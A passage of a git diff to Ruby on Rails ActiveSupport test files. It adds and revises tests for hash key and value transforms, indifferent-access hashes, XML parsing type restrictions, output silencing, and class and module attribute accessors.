+ assert_same original, mapped
+ end
+
+ test "transform_keys returns an Enumerator if no block is given" do
+ original = { a: 'a', b: 'b' }
+ enumerator = original.transform_keys
+ assert_equal Enumerator, enumerator.class
+ end
+
+ test "transform_keys is chainable with Enumerable methods" do
+ original = { a: 'a', b: 'b' }
+ mapped = original.transform_keys.with_index { |k, i| [k, i].join.to_sym }
+ assert_equal({ a0: 'a', b1: 'b' }, mapped)
+ end
+end
diff --git a/activesupport/test/core_ext/hash/transform_values_test.rb b/activesupport/test/core_ext/hash/transform_values_test.rb
new file mode 100644
index 0000000000..45ed11fef7
--- /dev/null
+++ b/activesupport/test/core_ext/hash/transform_values_test.rb
@@ -0,0 +1,61 @@
+require 'abstract_unit'
+require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/core_ext/hash/transform_values'
+
+class TransformValuesTest < ActiveSupport::TestCase
+ test "transform_values returns a new hash with the values computed from the block" do
+ original = { a: 'a', b: 'b' }
+ mapped = original.transform_values { |v| v + '!' }
+
+ assert_equal({ a: 'a', b: 'b' }, original)
+ assert_equal({ a: 'a!', b: 'b!' }, mapped)
+ end
+
+ test "transform_values! modifies the values of the original" do
+ original = { a: 'a', b: 'b' }
+ mapped = original.transform_values! { |v| v + '!' }
+
+ assert_equal({ a: 'a!', b: 'b!' }, original)
+ assert_same original, mapped
+ end
+
+ test "indifferent access is still indifferent after mapping values" do
+ original = { a: 'a', b: 'b' }.with_indifferent_access
+ mapped = original.transform_values { |v| v + '!' }
+
+ assert_equal 'a!', mapped[:a]
+ assert_equal 'a!', mapped['a']
+ end
+
+ # This is to be consistent with the behavior of Ruby's built in methods
+ # (e.g. #select, #reject) as of 2.2
+ test "default values do not persist during mapping" do
+ original = Hash.new('foo')
+ original[:a] = 'a'
+ mapped = original.transform_values { |v| v + '!' }
+
+ assert_equal 'a!', mapped[:a]
+ assert_nil mapped[:b]
+ end
+
+ test "default procs do not persist after mapping" do
+ original = Hash.new { 'foo' }
+ original[:a] = 'a'
+ mapped = original.transform_values { |v| v + '!' }
+
+ assert_equal 'a!', mapped[:a]
+ assert_nil mapped[:b]
+ end
+
+ test "transform_values returns an Enumerator if no block is given" do
+ original = { a: 'a', b: 'b' }
+ enumerator = original.transform_values
+ assert_equal Enumerator, enumerator.class
+ end
+
+ test "transform_values is chainable with Enumerable methods" do
+ original = { a: 'a', b: 'b' }
+ mapped = original.transform_values.with_index { |v, i| [v, i].join }
+ assert_equal({ a: 'a0', b: 'b1' }, mapped)
+ end
+end
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index c378dcd01d..3d2f50ce49 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -8,7 +8,7 @@ require 'active_support/core_ext/object/deep_dup'
require 'active_support/inflections'
class HashExtTest < ActiveSupport::TestCase
- class IndifferentHash < HashWithIndifferentAccess
+ class IndifferentHash < ActiveSupport::HashWithIndifferentAccess
end
class SubclassingArray < Array
@@ -23,6 +23,16 @@ class HashExtTest < ActiveSupport::TestCase
end
end
+ class HashByConversion
+ def initialize(hash)
+ @hash = hash
+ end
+
+ def to_hash
+ @hash
+ end
+ end
+
def setup
@strings = { 'a' => 1, 'b' => 2 }
@nested_strings = { 'a' => { 'b' => { 'c' => 3 } } }
@@ -36,6 +46,10 @@ class HashExtTest < ActiveSupport::TestCase
@nested_illegal_symbols = { [] => { [] => 3} }
@upcase_strings = { 'A' => 1, 'B' => 2 }
@nested_upcase_strings = { 'A' => { 'B' => { 'C' => 3 } } }
+ @string_array_of_hashes = { 'a' => [ { 'b' => 2 }, { 'c' => 3 }, 4 ] }
+ @symbol_array_of_hashes = { :a => [ { :b => 2 }, { :c => 3 }, 4 ] }
+ @mixed_array_of_hashes = { :a => [ { :b => 2 }, { 'c' => 3 }, 4 ] }
+ @upcase_array_of_hashes = { 'A' => [ { 'B' => 2 }, { 'C' => 3 }, 4 ] }
end
def test_methods
@@ -54,6 +68,10 @@ class HashExtTest < ActiveSupport::TestCase
assert_respond_to h, :deep_stringify_keys!
assert_respond_to h, :to_options
assert_respond_to h, :to_options!
+ assert_respond_to h, :compact
+ assert_respond_to h, :compact!
+ assert_respond_to h, :except
+ assert_respond_to h, :except!
end
def test_transform_keys
@@ -72,6 +90,9 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal @nested_upcase_strings, @nested_symbols.deep_transform_keys{ |key| key.to_s.upcase }
assert_equal @nested_upcase_strings, @nested_strings.deep_transform_keys{ |key| key.to_s.upcase }
assert_equal @nested_upcase_strings, @nested_mixed.deep_transform_keys{ |key| key.to_s.upcase }
+ assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
+ assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
+ assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
end
def test_deep_transform_keys_not_mutates
@@ -97,6 +118,9 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal @nested_upcase_strings, @nested_symbols.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
assert_equal @nested_upcase_strings, @nested_strings.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
assert_equal @nested_upcase_strings, @nested_mixed.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+ assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+ assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+ assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
end
def test_deep_transform_keys_with_bang_mutates
@@ -122,6 +146,9 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal @nested_symbols, @nested_symbols.deep_symbolize_keys
assert_equal @nested_symbols, @nested_strings.deep_symbolize_keys
assert_equal @nested_symbols, @nested_mixed.deep_symbolize_keys
+ assert_equal @symbol_array_of_hashes, @string_array_of_hashes.deep_symbolize_keys
+ assert_equal @symbol_array_of_hashes, @symbol_array_of_hashes.deep_symbolize_keys
+ assert_equal @symbol_array_of_hashes, @mixed_array_of_hashes.deep_symbolize_keys
end
def test_deep_symbolize_keys_not_mutates
@@ -147,6 +174,9 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal @nested_symbols, @nested_symbols.deep_dup.deep_symbolize_keys!
assert_equal @nested_symbols, @nested_strings.deep_dup.deep_symbolize_keys!
assert_equal @nested_symbols, @nested_mixed.deep_dup.deep_symbolize_keys!
+ assert_equal @symbol_array_of_hashes, @string_array_of_hashes.deep_dup.deep_symbolize_keys!
+ assert_equal @symbol_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_symbolize_keys!
+ assert_equal @symbol_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_symbolize_keys!
end
def test_deep_symbolize_keys_with_bang_mutates
@@ -192,6 +222,9 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal @nested_strings, @nested_symbols.deep_stringify_keys
assert_equal @nested_strings, @nested_strings.deep_stringify_keys
assert_equal @nested_strings, @nested_mixed.deep_stringify_keys
+ assert_equal @string_array_of_hashes, @string_array_of_hashes.deep_stringify_keys
+ assert_equal @string_array_of_hashes, @symbol_array_of_hashes.deep_stringify_keys
+ assert_equal @string_array_of_hashes, @mixed_array_of_hashes.deep_stringify_keys
end
def test_deep_stringify_keys_not_mutates
@@ -217,6 +250,9 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal @nested_strings, @nested_symbols.deep_dup.deep_stringify_keys!
assert_equal @nested_strings, @nested_strings.deep_dup.deep_stringify_keys!
assert_equal @nested_strings, @nested_mixed.deep_dup.deep_stringify_keys!
+ assert_equal @string_array_of_hashes, @string_array_of_hashes.deep_dup.deep_stringify_keys!
+ assert_equal @string_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_stringify_keys!
+ assert_equal @string_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_stringify_keys!
end
def test_deep_stringify_keys_with_bang_mutates
@@ -329,7 +365,7 @@ class HashExtTest < ActiveSupport::TestCase
:member? => true }
hashes.each do |name, hash|
- method_map.sort_by { |m| m.to_s }.each do |meth, expected|
+ method_map.sort_by(&:to_s).each do |meth, expected|
assert_equal(expected, hash.__send__(meth, 'a'),
"Calling #{name}.#{meth} 'a'")
assert_equal(expected, hash.__send__(meth, :a),
@@ -409,6 +445,12 @@ class HashExtTest < ActiveSupport::TestCase
assert [updated_with_strings, updated_with_symbols, updated_with_mixed].all? { |h| h.keys.size == 2 }
end
+ def test_update_with_to_hash_conversion
+ hash = HashWithIndifferentAccess.new
+ hash.update HashByConversion.new({ :a => 1 })
+ assert_equal hash['a'], 1
+ end
+
def test_indifferent_merging
hash = HashWithIndifferentAccess.new
hash[:a] = 'failure'
@@ -428,6 +470,12 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal 2, hash['b']
end
+ def test_merge_with_to_hash_conversion
+ hash = HashWithIndifferentAccess.new
+ merged = hash.merge HashByConversion.new({ :a => 1 })
+ assert_equal merged['a'], 1
+ end
+
def test_indifferent_replace
hash = HashWithIndifferentAccess.new
hash[:a] = 42
@@ -440,6 +488,18 @@ class HashExtTest < ActiveSupport::TestCase
assert_same hash, replaced
end
+ def test_replace_with_to_hash_conversion
+ hash = HashWithIndifferentAccess.new
+ hash[:a] = 42
+
+ replaced = hash.replace(HashByConversion.new(b: 12))
+
+ assert hash.key?('b')
+ assert !hash.key?(:a)
+ assert_equal 12, hash[:b]
+ assert_same hash, replaced
+ end
+
def test_indifferent_merging_with_block
hash = HashWithIndifferentAccess.new
hash[:a] = 1
@@ -480,6 +540,42 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal hash.delete('a'), nil
end
+ def test_indifferent_select
+ hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select {|k,v| v == 1}
+
+ assert_equal({ 'a' => 1 }, hash)
+ assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+ end
+
+ def test_indifferent_select_returns_a_hash_when_unchanged
+ hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select {|k,v| true}
+
+ assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+ end
+
+ def test_indifferent_select_bang
+ indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+ indifferent_strings.select! {|k,v| v == 1}
+
+ assert_equal({ 'a' => 1 }, indifferent_strings)
+ assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
+ end
+
+ def test_indifferent_reject
+ hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).reject {|k,v| v != 1}
+
+ assert_equal({ 'a' => 1 }, hash)
+ assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
+ end
+
+ def test_indifferent_reject_bang
+ indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
+ indifferent_strings.reject! {|k,v| v != 1}
+
+ assert_equal({ 'a' => 1 }, indifferent_strings)
+ assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
+ end
+
def test_indifferent_to_hash
# Should convert to a Hash with String keys.
assert_equal @strings, @mixed.with_indifferent_access.to_hash
@@ -490,6 +586,12 @@ class HashExtTest < ActiveSupport::TestCase
roundtrip = mixed_with_default.with_indifferent_access.to_hash
assert_equal @strings, roundtrip
assert_equal '1234', roundtrip.default
+
+ # Ensure nested hashes are not HashWithIndiffereneAccess
+ new_to_hash = @nested_mixed.with_indifferent_access.to_hash
+ assert_not new_to_hash.instance_of?(HashWithIndifferentAccess)
+ assert_not new_to_hash["a"].instance_of?(HashWithIndifferentAccess)
+ assert_not new_to_hash["a"]["b"].instance_of?(HashWithIndifferentAccess)
end
def test_lookup_returns_the_same_object_that_is_stored_in_hash_indifferent_access
@@ -499,9 +601,21 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal [1], hash[:a]
end
+ def test_with_indifferent_access_has_no_side_effects_on_existing_hash
+ hash = {content: [{:foo => :bar, 'bar' => 'baz'}]}
+ hash.with_indifferent_access
+
+ assert_equal [:foo, "bar"], hash[:content].first.keys
+ end
+
def test_indifferent_hash_with_array_of_hashes
hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] }}.with_indifferent_access
assert_equal "1", hash[:urls][:url].first[:address]
+
+ hash = hash.to_hash
+ assert_not hash.instance_of?(HashWithIndifferentAccess)
+ assert_not hash["urls"].instance_of?(HashWithIndifferentAccess)
+ assert_not hash["urls"]["url"].first.instance_of?(HashWithIndifferentAccess)
end
def test_should_preserve_array_subclass_when_value_is_array
@@ -547,7 +661,15 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal 1, h['first']
end
- def test_indifferent_subhashes
+ def test_to_options_on_indifferent_preserves_works_as_hash_with_dup
+ h = HashWithIndifferentAccess.new({ a: { b: 'b' } })
+ dup = h.dup
+
+ dup[:a][:c] = 'c'
+ assert_equal 'c', h[:a][:c]
+ end
+
+ def test_indifferent_sub_hashes
h = {'user' => {'id' => 5}}.with_indifferent_access
['user', :user].each {|user| [:id, 'id'].each {|id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5"}}
@@ -571,11 +693,31 @@ class HashExtTest < ActiveSupport::TestCase
{ :failure => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
{ :failure => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
end
+ # not all valid keys are required to be present
+ assert_nothing_raised do
+ { :failure => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny, :sunny ])
+ { :failure => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny, :sunny)
+ end
- assert_raise(ArgumentError, "Unknown key: failore") do
+ exception = assert_raise ArgumentError do
{ :failore => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
+ end
+ assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
+
+ exception = assert_raise ArgumentError do
{ :failore => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
end
+ assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
+
+ exception = assert_raise ArgumentError do
+ { :failore => "stuff", :funny => "business" }.assert_valid_keys([ :failure ])
+ end
+ assert_equal "Unknown key: :failore. Valid keys are: :failure", exception.message
+
+ exception = assert_raise ArgumentError do
+ { :failore => "stuff", :funny => "business" }.assert_valid_keys(:failure)
+ end
+ assert_equal "Unknown key: :failore. Valid keys are: :failure", exception.message
end
def test_assorted_keys_not_stringified
@@ -604,6 +746,16 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal expected, hash_1
end
+ def test_deep_merge_with_falsey_values
+ hash_1 = { e: false }
+ hash_2 = { e: 'e' }
+ expected = { e: [:e, false, 'e'] }
+ assert_equal(expected, hash_1.deep_merge(hash_2) { |k, o, n| [k, o, n] })
+
+ hash_1.deep_merge!(hash_2) { |k, o, n| [k, o, n] }
+ assert_equal expected, hash_1
+ end
+
def test_deep_merge_on_indifferent_access
hash_1 = HashWithIndifferentAccess.new({ :a => "a", :b => "b", :c => { :c1 => "c1", :c2 => "c2", :c3 => { :d1 => "d1" } } })
hash_2 = HashWithIndifferentAccess.new({ :a => 1, :c => { :c1 => 2, :c3 => { :d2 => "d2" } } })
@@ -655,12 +807,6 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal expected, merged
end
- def test_diff
- assert_deprecated do
- assert_equal({ :a => 2 }, { :a => 2, :b => 5 }.diff({ :a => 1, :b => 5 }))
- end
- end
-
def test_slice
original = { :a => 'x', :b => 'y', :c => 10 }
expected = { :a => 'x', :b => 'y' }
@@ -735,6 +881,24 @@ class HashExtTest < ActiveSupport::TestCase
assert_equal 'bender', slice['login']
end
+ def test_slice_bang_does_not_override_default
+ hash = Hash.new(0)
+ hash.update(a: 1, b: 2)
+
+ hash.slice!(:a)
+
+ assert_equal 0, hash[:c]
+ end
+
+ def test_slice_bang_does_not_override_default_proc
+ hash = Hash.new { |h, k| h[k] = [] }
+ hash.update(a: 1, b: 2)
+
+ hash.slice!(:a)
+
+ assert_equal [], hash[:c]
+ end
+
def test_extract
original = {:a => 1, :b => 2, :c => 3, :d => 4}
expected = {:a => 1, :b => 2}
@@ -782,13 +946,19 @@ class HashExtTest < ActiveSupport::TestCase
def test_except_with_more_than_one_argument
original = { :a => 'x', :b => 'y', :c => 10 }
expected = { :a => 'x' }
+
assert_equal expected, original.except(:b, :c)
+
+ assert_equal expected, original.except!(:b, :c)
+ assert_equal expected, original
end
def test_except_with_original_frozen
original = { :a => 'x', :b => 'y' }
original.freeze
assert_nothing_raised { original.except(:a) }
+
+ assert_raise(RuntimeError) { original.except!(:a) }
end
def test_except_with_mocha_expectation_on_original
@@ -796,6 +966,38 @@ class HashExtTest < ActiveSupport::TestCase
original.expects(:delete).never
original.except(:a)
end
+
+ def test_compact
+ hash_contain_nil_value = @symbols.merge(z: nil)
+ hash_with_only_nil_values = { a: nil, b: nil }
+
+ h = hash_contain_nil_value.dup
+ assert_equal(@symbols, h.compact)
+ assert_equal(hash_contain_nil_value, h)
+
+ h = hash_with_only_nil_values.dup
+ assert_equal({}, h.compact)
+ assert_equal(hash_with_only_nil_values, h)
+ end
+
+ def test_compact!
+ hash_contain_nil_value = @symbols.merge(z: nil)
+ hash_with_only_nil_values = { a: nil, b: nil }
+
+ h = hash_contain_nil_value.dup
+ assert_equal(@symbols, h.compact!)
+ assert_equal(@symbols, h)
+
+ h = hash_with_only_nil_values.dup
+ assert_equal({}, h.compact!)
+ assert_equal({}, h)
+ end
+
+ def test_new_with_to_hash_conversion
+ hash = HashWithIndifferentAccess.new(HashByConversion.new(a: 1))
+ assert hash.key?('a')
+ assert_equal 1, hash[:a]
+ end
end
class IWriteMyOwnXML
@@ -1015,12 +1217,10 @@ class HashToXmlTest < ActiveSupport::TestCase
<replies-close-in type="integer">2592000000</replies-close-in>
<written-on type="date">2003-07-16</written-on>
<viewed-at type="datetime">2003-07-16T09:28:00+0000</viewed-at>
- <content type="yaml">--- \n1: should be an integer\n:message: Have a nice day\narray: \n- should-have-dashes: true\n should_have_underscores: true\n</content>
<author-email-address>david@loudthinking.com</author-email-address>
<parent-id></parent-id>
<ad-revenue type="decimal">1.5</ad-revenue>
<optimum-viewing-angle type="float">135</optimum-viewing-angle>
- <resident type="symbol">yes</resident>
</topic>
EOT
@@ -1033,12 +1233,10 @@ class HashToXmlTest < ActiveSupport::TestCase
:replies_close_in => 2592000000,
:written_on => Date.new(2003, 7, 16),
:viewed_at => Time.utc(2003, 7, 16, 9, 28),
- :content => { :message => "Have a nice day", 1 => "should be an integer", "array" => [{ "should-have-dashes" => true, "should_have_underscores" => true }] },
:author_email_address => "david@loudthinking.com",
:parent_id => nil,
:ad_revenue => BigDecimal("1.50"),
:optimum_viewing_angle => 135.0,
- :resident => :yes
}.stringify_keys
assert_equal expected_topic_hash, Hash.from_xml(topic_xml)["topic"]
@@ -1052,7 +1250,6 @@ class HashToXmlTest < ActiveSupport::TestCase
<approved type="boolean"></approved>
<written-on type="date"></written-on>
<viewed-at type="datetime"></viewed-at>
- <content type="yaml"></content>
<parent-id></parent-id>
</topic>
EOT
@@ -1063,7 +1260,6 @@ class HashToXmlTest < ActiveSupport::TestCase
:approved => nil,
:written_on => nil,
:viewed_at => nil,
- :content => nil,
:parent_id => nil
}.stringify_keys
@@ -1290,6 +1486,48 @@ class HashToXmlTest < ActiveSupport::TestCase
assert_equal expected_product_hash, Hash.from_xml(product_xml)["product"]
end
+ def test_from_xml_raises_on_disallowed_type_attributes
+ assert_raise ActiveSupport::XMLConverter::DisallowedType do
+ Hash.from_xml '<product><name type="foo">value</name></product>', %w(foo)
+ end
+ end
+
+ def test_from_xml_disallows_symbol_and_yaml_types_by_default
+ assert_raise ActiveSupport::XMLConverter::DisallowedType do
+ Hash.from_xml '<product><name type="symbol">value</name></product>'
+ end
+
+ assert_raise ActiveSupport::XMLConverter::DisallowedType do
+ Hash.from_xml '<product><name type="yaml">value</name></product>'
+ end
+ end
+
+ def test_from_xml_array_one
+ expected = { 'numbers' => { 'type' => 'Array', 'value' => '1' }}
+ assert_equal expected, Hash.from_xml('<numbers type="Array"><value>1</value></numbers>')
+ end
+
+ def test_from_xml_array_many
+ expected = { 'numbers' => { 'type' => 'Array', 'value' => [ '1', '2' ] }}
+ assert_equal expected, Hash.from_xml('<numbers type="Array"><value>1</value><value>2</value></numbers>')
+ end
+
+ def test_from_trusted_xml_allows_symbol_and_yaml_types
+ expected = { 'product' => { 'name' => :value }}
+ assert_equal expected, Hash.from_trusted_xml('<product><name type="symbol">value</name></product>')
+ assert_equal expected, Hash.from_trusted_xml('<product><name type="yaml">:value</name></product>')
+ end
+
+ def test_should_use_default_proc_for_unknown_key
+ hash_wia = HashWithIndifferentAccess.new { 1 + 2 }
+ assert_equal 3, hash_wia[:new_key]
+ end
+
+ def test_should_use_default_proc_if_no_key_is_supplied
+ hash_wia = HashWithIndifferentAccess.new { 1 + 2 }
+ assert_equal 3, hash_wia.default
+ end
+
def test_should_use_default_value_for_unknown_key
hash_wia = HashWithIndifferentAccess.new(3)
assert_equal 3, hash_wia[:new_key]
@@ -1317,6 +1555,17 @@ class HashToXmlTest < ActiveSupport::TestCase
assert_equal 3, hash_wia.default
end
+ def test_should_copy_the_default_proc_when_converting_to_hash_with_indifferent_access
+ hash = Hash.new do
+ 2 + 1
+ end
+ assert_equal 3, hash[:foo]
+
+ hash_wia = hash.with_indifferent_access
+ assert_equal 3, hash_wia[:foo]
+ assert_equal 3, hash_wia[:bar]
+ end
+
# The XML builder seems to fail miserably when trying to tag something
# with the same name as a Kernel method (throw, test, loop, select ...)
def test_kernel_method_names_to_xml
@@ -1330,7 +1579,7 @@ class HashToXmlTest < ActiveSupport::TestCase
def test_empty_string_works_for_typecast_xml_value
assert_nothing_raised do
- Hash.__send__(:typecast_xml_value, "")
+ ActiveSupport::XMLConverter.new("").to_h
end
end
diff --git a/activesupport/test/core_ext/kernel/concern_test.rb b/activesupport/test/core_ext/kernel/concern_test.rb
new file mode 100644
index 0000000000..478a00d2d2
--- /dev/null
+++ b/activesupport/test/core_ext/kernel/concern_test.rb
@@ -0,0 +1,13 @@
+require 'abstract_unit'
+require 'active_support/core_ext/kernel/concern'
+
+class KernelConcernTest < ActiveSupport::TestCase
+ def test_may_be_defined_at_toplevel
+ mod = ::TOPLEVEL_BINDING.eval 'concern(:ToplevelConcern) { }'
+ assert_equal mod, ::ToplevelConcern
+ assert_kind_of ActiveSupport::Concern, ::ToplevelConcern
+ assert_not Object.ancestors.include?(::ToplevelConcern), mod.ancestors.inspect
+ ensure
+ Object.send :remove_const, :ToplevelConcern
+ end
+end
diff --git a/activesupport/test/core_ext/kernel_test.rb b/activesupport/test/core_ext/kernel_test.rb
index 1583c1fa32..a87af0007c 100644
--- a/activesupport/test/core_ext/kernel_test.rb
+++ b/activesupport/test/core_ext/kernel_test.rb
@@ -30,16 +30,34 @@ class KernelTest < ActiveSupport::TestCase
end
- def test_silence_stderr
- old_stderr_position = STDERR.tell
- silence_stderr { STDERR.puts 'hello world' }
- assert_equal old_stderr_position, STDERR.tell
+ def test_silence_stream
+ old_stream_position = STDOUT.tell
+ silence_stream(STDOUT) { STDOUT.puts 'hello world' }
+ assert_equal old_stream_position, STDOUT.tell
rescue Errno::ESPIPE
- # Skip if we can't STDERR.tell
+ # Skip if we can't stream.tell
+ end
+
+ def test_silence_stream_closes_file_descriptors
+ stream = StringIO.new
+ dup_stream = StringIO.new
+ stream.stubs(:dup).returns(dup_stream)
+ dup_stream.expects(:close)
+ silence_stream(stream) { stream.puts 'hello world' }
end
- def test_silence_stderr_with_return_value
- assert_equal 1, silence_stderr { 1 }
+ def test_quietly
+ old_stdout_position, old_stderr_position = STDOUT.tell, STDERR.tell
+ assert_deprecated do
+ quietly do
+ puts 'see me, feel me'
+ STDERR.puts 'touch me, heal me'
+ end
+ end
+ assert_equal old_stdout_position, STDOUT.tell
+ assert_equal old_stderr_position, STDERR.tell
+ rescue Errno::ESPIPE
+ # Skip if we can't STDERR.tell
end
def test_class_eval
@@ -49,10 +67,18 @@ class KernelTest < ActiveSupport::TestCase
end
def test_capture
- assert_equal 'STDERR', capture(:stderr) { $stderr.print 'STDERR' }
- assert_equal 'STDOUT', capture(:stdout) { print 'STDOUT' }
- assert_equal "STDERR\n", capture(:stderr) { system('echo STDERR 1>&2') }
- assert_equal "STDOUT\n", capture(:stdout) { system('echo STDOUT') }
+ assert_deprecated do
+ assert_equal 'STDERR', capture(:stderr) { $stderr.print 'STDERR' }
+ end
+ assert_deprecated do
+ assert_equal 'STDOUT', capture(:stdout) { print 'STDOUT' }
+ end
+ assert_deprecated do
+ assert_equal "STDERR\n", capture(:stderr) { system('echo STDERR 1>&2') }
+ end
+ assert_deprecated do
+ assert_equal "STDOUT\n", capture(:stdout) { system('echo STDOUT') }
+ end
end
end
@@ -109,4 +135,4 @@ class KernelDebuggerTest < ActiveSupport::TestCase
ensure
Object.send(:remove_const, :Rails)
end
-end
+end if RUBY_VERSION < '2.0.0'
diff --git a/activesupport/test/core_ext/load_error_test.rb b/activesupport/test/core_ext/load_error_test.rb
index 31863d0aca..5f804c749b 100644
--- a/activesupport/test/core_ext/load_error_test.rb
+++ b/activesupport/test/core_ext/load_error_test.rb
@@ -14,6 +14,15 @@ class TestMissingSourceFile < ActiveSupport::TestCase
assert_equal 'nor/this/one.rb', e.path
end
end
+
+ def test_is_missing
+ begin load 'nor_does_this_one'
+ rescue MissingSourceFile => e
+ assert e.is_missing?('nor_does_this_one')
+ assert e.is_missing?('nor_does_this_one.rb')
+ assert_not e.is_missing?('some_other_file')
+ end
+ end
end
class TestLoadError < ActiveSupport::TestCase
@@ -29,4 +38,4 @@ class TestLoadError < ActiveSupport::TestCase
assert_equal 'nor/this/one.rb', e.path
end
end
-end \ No newline at end of file
+end
diff --git a/activesupport/test/core_ext/marshal_test.rb b/activesupport/test/core_ext/marshal_test.rb
index ac79b15fa8..8f3f710dfd 100644
--- a/activesupport/test/core_ext/marshal_test.rb
+++ b/activesupport/test/core_ext/marshal_test.rb
@@ -1,10 +1,10 @@
require 'abstract_unit'
require 'active_support/core_ext/marshal'
-require 'dependecies_test_helpers'
+require 'dependencies_test_helpers'
class MarshalTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
- include DependeciesTestHelpers
+ include DependenciesTestHelpers
def teardown
ActiveSupport::Dependencies.clear
diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb
index a577f90bdd..48f3cc579f 100644
--- a/activesupport/test/core_ext/module/attribute_accessor_test.rb
+++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb
@@ -8,6 +8,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
mattr_accessor :bar, :instance_writer => false
mattr_reader :shaq, :instance_reader => false
mattr_accessor :camp, :instance_accessor => false
+
+ cattr_accessor(:defa) { 'default_accessor_value' }
+ cattr_reader(:defr) { 'default_reader_value' }
+ cattr_writer(:defw) { 'default_writer_value' }
+ cattr_accessor(:quux) { :quux }
end
@class = Class.new
@class.instance_eval { include m }
@@ -27,6 +32,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
assert_equal :test2, @module.foo
end
+ def test_cattr_accessor_default_value
+ assert_equal :quux, @module.quux
+ assert_equal :quux, @object.quux
+ end
+
def test_should_not_create_instance_writer
assert_respond_to @module, :foo
assert_respond_to @module, :foo=
@@ -46,16 +56,24 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
end
def test_should_raise_name_error_if_attribute_name_is_invalid
- assert_raises NameError do
+ exception = assert_raises NameError do
Class.new do
- mattr_reader "invalid attribute name"
+ cattr_reader "1nvalid"
end
end
+ assert_equal "invalid attribute name: 1nvalid", exception.message
- assert_raises NameError do
+ exception = assert_raises NameError do
Class.new do
- mattr_writer "invalid attribute name"
+ cattr_writer "1nvalid"
end
end
+ assert_equal "invalid attribute name: 1nvalid", exception.message
+ end
+
+ def test_should_use_default_value_if_block_passed
+ assert_equal 'default_accessor_value', @module.defa
+ assert_equal 'default_reader_value', @module.defr
+ assert_equal 'default_writer_value', @module.class_variable_get('@@defw')
end
end
diff --git a/activesupport/test/core_ext/module/concerning_test.rb b/activesupport/test/core_ext/module/concerning_test.rb
new file mode 100644
index 0000000000..07d860b71c
--- /dev/null
+++ b/activesupport/test/core_ext/module/concerning_test.rb
@@ -0,0 +1,65 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/concerning'
+
+class ModuleConcerningTest < ActiveSupport::TestCase
+ def test_concerning_declares_a_concern_and_includes_it_immediately
+ klass = Class.new { concerning(:Foo) { } }
+ assert klass.ancestors.include?(klass::Foo), klass.ancestors.inspect
+ end
+end
+
+class ModuleConcernTest < ActiveSupport::TestCase
+ def test_concern_creates_a_module_extended_with_active_support_concern
+ klass = Class.new do
+ concern :Baz do
+ included { @foo = 1 }
+ def should_be_public; end
+ end
+ end
+
+ # Declares a concern but doesn't include it
+ assert klass.const_defined?(:Baz, false)
+ assert !ModuleConcernTest.const_defined?(:Baz)
+ assert_kind_of ActiveSupport::Concern, klass::Baz
+ assert !klass.ancestors.include?(klass::Baz), klass.ancestors.inspect
+
+ # Public method visibility by default
+ assert klass::Baz.public_instance_methods.map(&:to_s).include?('should_be_public')
+
+ # Calls included hook
+ assert_equal 1, Class.new { include klass::Baz }.instance_variable_get('@foo')
+ end
+
+ class Foo
+ concerning :Bar do
+ module ClassMethods
